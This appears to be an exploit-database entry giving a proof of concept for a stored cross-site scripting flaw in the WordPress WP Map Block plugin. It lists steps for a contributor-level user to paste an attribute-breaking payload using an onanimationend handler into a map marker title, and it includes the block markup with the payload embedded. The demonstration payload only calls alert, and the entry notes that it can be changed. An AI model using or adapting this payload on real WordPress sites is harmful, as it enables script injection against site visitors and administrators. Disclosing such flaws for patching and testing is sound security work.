## https://sploitus.com/exploit?id=WPEX-ID:240DDDE9-095F-4919-832A-50279196DAC5
- As a contributor, add a WP Map Block to a post/page
- Click "Show more settings"
- Scroll the sidebar and click "Map Marker"
- Click "Marker 1"
- Paste the following as "Title": ' style='animation-name:twentytwentyone-close-button-transition' onanimationend='alert(origin)'
- Save and view/preview to trigger the XSS (the payload is specific to the TwentyTwentyOne theme but could be changed)
<!-- wp:wpmapblock/wp-map-block {"map_id":"wpmapblock_0","map_marker_list":[{"lat":23.7806365,"lng":90.4193257,"title":"Bangladesh' style='animation-name:twentytwentyone-close-button-transition' onanimationend='alert(origin)'","content":"A Beautiful Country","iconType":"default","customIconUrl":"","customIconWidth":25,"customIconHeight":40}]} /-->